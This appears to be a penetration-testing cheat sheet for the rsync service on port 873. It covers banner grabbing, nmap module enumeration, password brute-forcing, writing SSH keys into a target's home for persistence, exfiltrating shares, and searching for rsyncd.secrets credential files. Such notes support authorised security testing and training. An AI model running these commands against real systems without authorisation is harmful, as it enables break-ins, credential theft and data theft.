Rsync

Ports TCP 873

Theory

Rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across network. By default it run on port TCP 873

Practice

Enumeration

Connect to Rsync

To initiate a connection with an rsync server, use the rsync command followed by the rsync URL.

# The URL format is `[rsync://][user@]host[:port]/module.``
rsync rsync://user@target_host/

Banner Grabbing

You can use Netcat to find out what service is running and its version by looking at the welcome message it shows when you connect. This method is called Banner Grabbing.

nc -nv <IP> 873

# Expected output format
@RSYNCD: version

Modules

You can use Nmap to check if there's an Rsync server on a target host like this:

nmap -p 873 <IP>

We can then enumerate modules. Thus is a crucial enumeration phase to understand the structure of the target rsync module and finding misconfigurations or sensitive information.

nmap -sV --script "rsync-list-modules" -p 873 target_host

Shared Folders

Rsync modules represent directory shares and may be protected with a password. To list these modules:

rsync target_host::

For detailed enumeration of a specific module to see files and permissions:

rsync -av --list-only rsync://target_host/module_name

Exploiting

Bruteforce

Be aware that some shares might be restricted to specific credentials, indicated by an "Access Denied" message. We can try to bruteforce the password using following command.

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

Misconfigured Modules

Modules without proper authentication can be accessed by unauthorized users. This vulnerability allows attackers to read, modify, or delete sensitive data.

If a module is writable, and you have determined its path through enumeration, you can upload malicious files, potentially leading to remote command execution or pivoting into the network.

Post-Exploitation

Persistence

Upload artifacts like modified scripts or binaries to maintain access:

rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.ssh

Data Exfiltration

Sensitive data identified during enumeration can be exfiltrated using rsync:

From Remote to Local

We can sync a remote folder with a local folder.

rsync -avz rsync://<IP>:873/share_name /local/directory/
# OR
rsync -avz <IP>::share_name /local/directory/

From Local to Remote*

We can sync our local folder with a remote folder.

rsync -av /local/directory/ <IP>::share_name
# OR
rsync -av /local/directory/ rsync://<IP>:873/share_name 

rsyncd.conf

To locate the rsyncd configuration file and potentially find a secrets file containing usernames and passwords for rsyncd authentication, use the following command:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Resources

Rsync Pentesting | Hackviser

873 - Pentesting RsyncHackTricks

*

Rsync Pentesting | Exploit Noteshideckies